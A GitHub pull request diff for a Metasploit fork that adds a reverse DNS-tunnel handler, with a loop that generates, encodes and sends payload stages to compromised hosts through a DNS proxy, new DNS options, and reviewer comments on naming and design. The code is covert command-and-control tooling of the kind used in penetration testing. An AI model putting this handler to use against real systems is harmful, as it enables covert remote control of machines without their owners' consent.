-
Notifications
You must be signed in to change notification settings - Fork 2
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Latest changes from defcon russia for dns transport #23
base: rebase-defcon_ru-dns_transport
Are you sure you want to change the base?
Changes from all commits
496f8e8
dbdbb43
3546afd
eb87006
ba78469
521c99b
34a6441
ac63770
ee1d1b0
b1d4126
3cf5475
b66c2fe
8ed1d8b
671a925
fc9ff11
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -4,8 +4,8 @@ module Handler | |
|
||
### | ||
# | ||
# This module implements the Bind TCP handler. This means that | ||
# it will attempt to connect to a remote host on a given port for a period of | ||
# This module implements the reverse DNS handler. This means that | ||
# it will attempt to connect to a remote DNS-Proxy host on a given port for a period of | ||
# time (typically the duration of an exploit) to see if a the payload has | ||
# started listening. This can tend to be rather verbose in terms of traffic | ||
# and in general it is preferable to use reverse payloads. | ||
|
@@ -17,7 +17,7 @@ module ReverseDns | |
|
||
# | ||
# Returns the handler specific string representation, in this case | ||
# 'bind_tcp'. | ||
# 'reverse_dns'. | ||
# | ||
def self.handler_type | ||
return "reverse_dns" | ||
|
@@ -41,9 +41,11 @@ def initialize(info = {}) | |
[ | ||
Opt::LPORT(4444), | ||
OptString.new('DOMAIN', [true, 'DOMAIN', '']), | ||
OptString.new('SERVER_ID', [true, 'SERVER ID', 'pipiska']), | ||
OptAddress.new('RHOST', [true, 'HANDLER BIND IP', '']), | ||
OptString.new('SERVER_ID', [true, 'SERVER ID', 'toor']), | ||
OptEnum.new('REQ_TYPE', [ true, 'Type of DNS tunnel', 'DNSKEY', ['IPv6', 'DNSKEY']]), | ||
OptAddress.new('RHOST', [true, 'DNX PROXY IP', '']), | ||
OptAddress.new('NS_IP', [false, 'NS SERVER IP', '']), | ||
|
||
], Msf::Handler::ReverseDns) | ||
|
||
self.conn_threads = [] | ||
|
@@ -80,9 +82,8 @@ def add_handler(opts={}) | |
# Starts monitoring for an outbound connection to become established. | ||
# | ||
def start_handler | ||
|
||
# Maximum number of seconds to run the handler | ||
ctimeout = 5 | ||
ctimeout = 10 | ||
|
||
if (exploit_config and exploit_config['active_timeout']) | ||
ctimeout = exploit_config['active_timeout'].to_i | ||
|
@@ -92,133 +93,178 @@ def start_handler | |
rhost = datastore['RHOST'] | ||
lport = datastore['LPORT'] | ||
server_id = datastore['SERVER_ID'] | ||
req_type = datastore['REQ_TYPE'] | ||
|
||
# Ignore this if one of the required options is missing | ||
return if not rhost | ||
return if not lport | ||
return if not server_id | ||
return if not req_type | ||
|
||
# Only try the same host/port combination once | ||
phash = rhost + ':' + lport.to_s | ||
return if self.listener_pairs[phash] | ||
self.listener_pairs[phash] = true | ||
|
||
# Start a new handling thread | ||
self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) { | ||
self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) { | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. DnsProxyHandler? |
||
client = nil | ||
|
||
print_status("Started bind handler") | ||
print_status("Started bind-DNS handler") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. DNS-proxy handler? |
||
|
||
if (rhost == nil) | ||
raise ArgumentError, | ||
"RHOST is not defined; bind stager cannot function.", | ||
caller | ||
end | ||
|
||
stime = Time.now.to_i | ||
|
||
while (stime + ctimeout > Time.now.to_i) | ||
begin | ||
client = Rex::Socket::Tcp.create( | ||
'PeerHost' => rhost, | ||
'PeerPort' => lport.to_i, | ||
'Proxies' => datastore['Proxies'], | ||
'Context' => | ||
{ | ||
'Msf' => framework, | ||
'MsfPayload' => self, | ||
'MsfExploit' => assoc_exploit | ||
}) | ||
rescue Rex::ConnectionRefused | ||
# Connection refused is a-okay | ||
rescue ::Exception | ||
wlog("Exception caught in bind handler: #{$!.class} #{$!}") | ||
end | ||
|
||
break if client | ||
|
||
# Wait a second before trying again | ||
Rex::ThreadSafe.sleep(0.5) | ||
end | ||
|
||
# Valid client connection? | ||
if (client) | ||
# Increment the has connection counter | ||
self.pending_connections += 1 | ||
|
||
# Timeout and datastore options need to be passed through to the client | ||
opts = { | ||
:datastore => datastore, | ||
:expiration => datastore['SessionExpirationTimeout'].to_i, | ||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, | ||
:retry_total => datastore['SessionRetryTotal'].to_i, | ||
:retry_wait => datastore['SessionRetryWait'].to_i, | ||
:timeout => 60*20 | ||
} | ||
|
||
# Start a new thread and pass the client connection | ||
# as the input and output pipe. Client's are expected | ||
# to implement the Stream interface. | ||
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy| | ||
begin | ||
client_copy.put([server_id.length].pack("C") + server_id) | ||
handle_connection(wrap_aes_socket(client_copy), opts) | ||
rescue | ||
elog("Exception raised from BindTcp.handle_connection: #{$!}") | ||
current_name = "STAGE" | ||
loop do | ||
begin | ||
session = nil | ||
|
||
#If last connection has a valid session or died | ||
if (framework.sessions.length > 0) | ||
|
||
framework.sessions.each_sorted do |k| | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'm a bit confused on the logic here - you end up with "session" being the last session in the sorted list, so why not just sessions.sort.last? |
||
session = framework.sessions[k] | ||
end | ||
current_name = session.machine_id.to_s | ||
else | ||
current_name = "STAGE" | ||
end | ||
|
||
stime = Time.now.to_i | ||
|
||
if (current_name != "") | ||
|
||
while (stime + ctimeout > Time.now.to_i) | ||
begin | ||
client = Rex::Socket::Tcp.create( | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Might as well use UDP here if we're instantiating a socket for every call. If i can get native DNS to work, this wont be an issue, but session-channels may be an appropriate mechanism for this proxy semantic. |
||
'PeerHost' => rhost, | ||
'PeerPort' => lport.to_i, | ||
'Proxies' => datastore['Proxies'], | ||
'Context' => | ||
{ | ||
'Msf' => framework, | ||
'MsfPayload' => self, | ||
'MsfExploit' => assoc_exploit | ||
}) | ||
rescue Rex::ConnectionRefused | ||
# Connection refused is a-okay | ||
|
||
rescue ::Exception | ||
wlog("Exception caught in bind handler: #{$!.class} #{$!}") | ||
end | ||
|
||
break if client | ||
|
||
# Wait a second before trying again | ||
Rex::ThreadSafe.sleep(0.5) | ||
end | ||
|
||
# Valid client connection? | ||
if (client) | ||
|
||
# Increment the has connection counter | ||
self.pending_connections += 1 | ||
|
||
# Timeout and datastore options need to be passed through to the client | ||
opts = { | ||
:datastore => datastore, | ||
:expiration => datastore['SessionExpirationTimeout'].to_i, | ||
:comm_timeout => 60*60*24, | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Suggest pulling this from the datastore - tunable. |
||
:retry_total => datastore['SessionRetryTotal'].to_i, | ||
:retry_wait => datastore['SessionRetryWait'].to_i, | ||
:timeout => 60*20, | ||
:send_keepalives => false | ||
} | ||
|
||
|
||
# Start a new thread and pass the client connection | ||
# as the input and output pipe. Client's are expected | ||
# to implement the Stream interface. | ||
conn_threads << framework.threads.spawn("BindDnsHandlerSession", false, client) { |client_copy| | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. client_copy is a bit of a misnomer here - its the original object being passed into the thread. Example:
If you dont want the original object, client.clone/dup/etc does the trick |
||
begin | ||
|
||
nosess = false | ||
#SEND SERVER_ID | ||
client_copy.put([server_id.length].pack("C") + server_id) | ||
conn = client_copy | ||
#First connect, stage is needed? (or it not the first session and stage alredy there.. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'm thinking there's a more graceful way to do this (and i dont just mean replacing strings with symbols)... will get back to this once i have a rational plan :). |
||
# or it is a stageless payload) | ||
if (current_name == "STAGE" and self.payload_type != Msf::Payload::Type::Single) | ||
if respond_to? :include_send_uuid | ||
if include_send_uuid | ||
uuid_raw = conn.get_once(16, 1) | ||
if uuid_raw | ||
opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) | ||
end | ||
end | ||
end | ||
p = generate_stage(opts) | ||
# Encode the stage if stage encoding is enabled | ||
begin | ||
p = encode_stage(p) | ||
rescue ::RuntimeError | ||
warning_msg = "Failed to stage" | ||
warning_msg << " (#{conn.peerhost})" if conn.respond_to? :peerhost | ||
warning_msg << ": #{$!}" | ||
print_warning warning_msg | ||
if conn.respond_to? :close && !conn.closed? | ||
conn.close | ||
end | ||
nosess = true | ||
end | ||
|
||
# Give derived classes an opportunity to an intermediate state before | ||
# the stage is sent. This gives derived classes an opportunity to | ||
# augment the stage and the process through which it is read on the | ||
# remote machine. | ||
# | ||
# If we don't use an intermediate stage, then we need to prepend the | ||
# stage prefix, such as a tag | ||
if handle_intermediate_stage(conn, p) == false | ||
p = (self.stage_prefix || '') + p | ||
end | ||
|
||
sending_msg = "Sending #{encode_stage? ? "encoded ":""}stage" | ||
sending_msg << " (#{p.length} bytes)" | ||
# The connection should always have a peerhost (even if it's a | ||
# tunnel), but if it doesn't, erroring out here means losing the | ||
# session, so make sure it does, just to be safe. | ||
if conn.respond_to? :peerhost | ||
sending_msg << " to #{conn.peerhost}" | ||
end | ||
print_status(sending_msg) | ||
|
||
# Send the stage | ||
conn.put(p) | ||
end | ||
|
||
#Start the session | ||
handle_connection(conn, opts) | ||
|
||
self.send_keepalives = false | ||
|
||
rescue | ||
elog("Exception raised from BindDns.handle_connection: #{$!}") | ||
end | ||
} | ||
Rex::ThreadSafe.sleep(5) | ||
else | ||
wlog("No connection received before the handler completed") | ||
end | ||
else | ||
|
||
Rex::ThreadSafe.sleep(5) | ||
end | ||
} | ||
else | ||
wlog("No connection received before the handler completed") | ||
end | ||
end | ||
} | ||
end | ||
|
||
def wrap_aes_socket(sock) | ||
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" | ||
return sock | ||
end | ||
|
||
socks = Rex::Socket::tcp_socket_pair() | ||
socks[0].extend(Rex::Socket::Tcp) | ||
socks[1].extend(Rex::Socket::Tcp) | ||
|
||
m = OpenSSL::Digest.new('md5') | ||
m.reset | ||
key = m.digest(datastore["AESPassword"] || "") | ||
|
||
Rex::ThreadFactory.spawn('AESEncryption', false) { | ||
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') | ||
c1.encrypt | ||
c1.key=key | ||
sock.put([0].pack('N')) | ||
sock.put(c1.iv=c1.random_iv) | ||
buf1 = socks[0].read(4096) | ||
while buf1 and buf1 != "" | ||
sock.put(c1.update(buf1)) | ||
buf1 = socks[0].read(4096) | ||
end | ||
sock.close() | ||
} | ||
|
||
Rex::ThreadFactory.spawn('AESEncryption', false) { | ||
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') | ||
c2.decrypt | ||
c2.key=key | ||
iv="" | ||
while iv.length < 16 | ||
iv << sock.read(16-iv.length) | ||
end | ||
c2.iv = iv | ||
buf2 = sock.read(4096) | ||
while buf2 and buf2 != "" | ||
socks[0].put(c2.update(buf2)) | ||
buf2 = sock.read(4096) | ||
end | ||
socks[0].close() | ||
} | ||
|
||
return socks[1] | ||
end | ||
|
||
|
||
# | ||
# Nothing to speak of. | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -30,17 +30,21 @@ def self.CPORT(default=nil, required=false, desc="The local client port") | |
def self.LHOST(default=nil, required=true, desc="The listen address") | ||
Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ]) | ||
end | ||
# @return [OptAddress] | ||
def self.DOMAIN(default=nil, required=true, desc="The listen address") | ||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) | ||
# @return [OptAddress] | ||
def self.DOMAIN(default=nil, required=true, desc="Domain name") | ||
Msf::OptString.new(__method__.to_s, [ required, desc, default ]) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Clever hackery, not sure if this is the best way to implement since every module load would instantiate these opts for every domain name. Also not sure about using a name such as "default" for anything. Still though, clever :) |
||
end | ||
|
||
# @return [OptAddress] | ||
def self.NS_IP(default=nil, required=true, desc="The listen address") | ||
|
||
# @return [OptEnum] | ||
def self.REQ_TYPE(default=nil, required=true, desc="Domain name") | ||
Msf::OptEnum.new(__method__.to_s, [ required, desc, 'DNSKEY', ['IPv6', 'DNSKEY']]) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. ^^ |
||
end | ||
# @return [OptAddress] | ||
def self.NS_IP(default=nil, required=true, desc="Name server adddress") | ||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) | ||
end | ||
# @return [OptPort] | ||
def self.LPORT(default=nil, required=true, desc="The listen port") | ||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) | ||
|
@@ -73,8 +77,9 @@ class << self | |
alias builtin_chost CHOST | ||
alias builtin_cport CPORT | ||
alias builtin_lhost LHOST | ||
alias builtin_domain DOMAIN | ||
alias builtin_ns_ip NS_IP | ||
alias builtin_domain DOMAIN | ||
alias builtin_ns_ip NS_IP | ||
alias builtin_req_type REQ_TYPE | ||
alias builtin_lport LPORT | ||
alias builtin_proxies Proxies | ||
alias builtin_rhost RHOST | ||
|
@@ -84,8 +89,9 @@ class << self | |
CHOST = CHOST() | ||
CPORT = CPORT() | ||
LHOST = LHOST() | ||
DOMAIN = DOMAIN() | ||
NS_IP = NS_IP() | ||
DOMAIN = DOMAIN() | ||
NS_IP = NS_IP() | ||
REQ_TYPE = REQ_TYPE() | ||
LPORT = LPORT() | ||
Proxies = Proxies() | ||
RHOST = RHOST() | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
"DNS proxy IP" - though i suggest "DNS Server IP" since i'm working toward a native handler as well